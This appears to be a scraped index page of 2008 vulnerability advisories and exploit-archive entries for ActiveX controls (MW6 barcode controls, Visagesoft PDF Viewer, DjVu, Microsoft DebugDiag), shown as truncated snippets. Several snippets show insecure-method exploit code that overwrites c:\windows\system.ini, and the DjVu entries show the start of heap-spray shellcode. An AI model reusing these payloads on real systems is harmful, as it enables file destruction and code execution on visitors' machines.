Visagesoft eXPert PDF Viewer ActiveX控件任意文件覆盖漏洞

BUGTRAQ ID: 31984 CNCAN ID：CNCAN-2008103007 Visagesoft eXPert PDF Viewer是一款PDF阅读器插件。 Visagesoft eXPert PDF Viewer控件存在设计问题，远程攻击者可以利用漏洞以应用程序权限覆盖系统文件。 VSPDFViewerX.ocx控件对savePageAsBitmap"方法对用户提供的参数缺少过滤，构建恶意WEB页，诱使用户访问，可导致以应用程序权限覆盖系统文件。 Visagesoft eXPert PDF Viewer ActiveX 3.0.990 目前没有详细解决方案提供：...

MW6 Technologies Barcode ActiveX 'Barcode.dll' ActiveX控件任意文件覆盖漏洞

BUGTRAQ ID: 31979 CNCAN ID：CNCAN-2008103003 MW6 Barcode ActiveX是一款条形码生成控件。 MW6 Barcode ActiveX 'Barcode.dll'存在设计问题，远程攻击者可以利用漏洞以应用程序权限覆盖系统文件。 控件对SaveAsBMP和SaveAsWMF方法处理存在问题，构建恶意WEB页，诱使用户访问，可导致以应用程序权限覆盖系统文件。 MW6 Technologies Barcode ActiveX 3.0.0.1 目前没有详细解决方案提供： http://www.mw6tech.com/products.html...

Null pointer dereference

The DebugDiag ActiveX control in CrashHangExt.dll, possibly 1.0, in Microsoft Debug Diagnostic Tool allows remote attackers to cause a denial of service NULL pointer dereference and Internet Explorer 6.0 crash via a large negative integer argument to the GetEntryPointForThread method. NOTE: this...

MW6 PDF417 ActiveX (MW6PDF417.dll) Remote Insecure Method Exploit

No description provided by source. !-- By Dr.Pantagon DeltaSecurityCenter www.DeltaSecurity.ir Description : PDF417 ActiveX ver : 3.0.0.1 CopyRight : MW6 Technologies, Inc. Download Link :http://www.mw6tech.com/pdf417/try/MW6PDF417.zip This was written for educational purpose. Use it at your own...

MW6 Aztec ActiveX (Aztec.dll) Remote Insecure Method Exploit

No description provided by source. !-- By Dr.Pantagon DeltaSecurityCenter www.DeltaSecurity.ir Description : Aztec ActiveX ver : 3.0.0.1 CopyRight : MW6 Technologies, Inc. Download Link : http://www.mw6tech.com/aztec/MW6Aztec.ZIP This was written for educational purpose. Use it at your own risk...

Automated Solutions Modbus TCP Slave ActiveX Control Vulnerability

Overview Automated Solutions Modbus TCP Slave ActiveX Control contains a vulnerability that may allow a remote attacker to execute arbitrary code or cause a denial-of-service. Description Automated Solutions Modbus TCP Slave ActiveX Control fails to properly process malformed "Modbus" requests to...

CVE-2008-4800

The DebugDiag ActiveX control in CrashHangExt.dll, possibly 1.0, in Microsoft Debug Diagnostic Tool allows remote attackers to cause a denial of service NULL pointer dereference and Internet Explorer 6.0 crash via a large negative integer argument to the GetEntryPointForThread method. NOTE: this...

CVE-2008-4800

The CVE-2008-4800 entry concerns the DebugDiag ActiveX control in CrashHangExt.dll (Microsoft Debug Diagnostic Tool, version possibly 1.0). The vulnerability occurs when a large negative integer is provided to GetEntryPointForThread, which can trigger a NULL pointer dereference and cause a denial...

mw6datamatrix-insecure.txt

Test Exploit page targetFile = "C:\WINDOWS\system32\DataMatrix.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "DATAMATRIXLib.MW6DataMatrix" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF arg1...

mw6barcode-insecure.txt

param nam...

mw6pdf417-insecure.txt

Test Exploit page targetFile = "C:\WINDOWS\system32\MW6PDF417.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "MW6PDF417Lib.PDF417" argCount = 1...

DjVu ActiveX Control 3.0 ImageURL Property Overflow Exploit

Exploit for unknown platform in category remote exploits =========================================================== DjVu ActiveX Control 3.0 ImageURL Property Overflow Exploit =========================================================== Snoop Security Research committee -- input language=JavaScri...

DjVu - ActiveX Control 3.0 ImageURL Property Overflow

Snoop Security Research committee -- // clac.exe var shellcode = unescape "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u10...

DjVu - ActiveX Control 3.0 ImageURL Property Overflow

DjVu - ActiveX Control 3.0 ImageURL Property Overflow Snoop Security Research committee -- // clac.exe var shellcode = unescape "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +...

Microsoft DebugDiag 1.0 - CrashHangExt.dll ActiveX Control Remote Denial of Service

Microsoft DebugDiag 1.0 - CrashHangExt.dll ActiveX Control Remote Denial of Service source: https://www.securityfocus.com/bid/31996/info Microsoft DebugDiag 'CrashHangExt.dll' ActiveX control is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error. A successful...

mw6aztec-insecure.txt

Test Exploit page targetFile = "C:\WINDOWS\system32\Aztec.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "AZTECLib.MW6Aztec" argCount = 1 arg1="c:\windows\system.ini" target.SaveAsBMP arg1 'target.SaveAsWMF arg1...

djvu-overflow.txt

Snoop Security Research committee -- // clac.exe var shellcode = unescape "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC0...

MW6 Aztec ActiveX 3.0.0.1 Insecure Method Exploit

No description provided by source. !-- By Dr.Pantagon DeltaSecurityCenter www.DeltaSecurity.ir Description : Aztec ActiveX ver : 3.0.0.1 CopyRight : MW6 Technologies, Inc. Download Link : http://www.mw6tech.com/aztec/MW6Aztec.ZIP This was written for educational purpose. Use it at your own risk...

Microsoft DebugDiag 1.0 - 'CrashHangExt.dll' ActiveX Control Remote Denial of Service

source: https://www.securityfocus.com/bid/31996/info Microsoft DebugDiag 'CrashHangExt.dll' ActiveX control is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error. A successful attack allows a remote attacker to crash the application using the ActiveX control...

MW6 PDF417 - ActiveX MW6PDF417.dll Remote Insecure Method

MW6 PDF417 - ActiveX MW6PDF417.dll Remote Insecure Method  Test Exploit page targetFile = "C:\WINDOWS\system32\MW6PDF417.dll" prototype = "Sub SaveAsBMP ByVal FileName As String " memberName = "SaveAsBMP" progid = "MW6PDF417Lib.PDF417" argCount = 1 arg1="c:...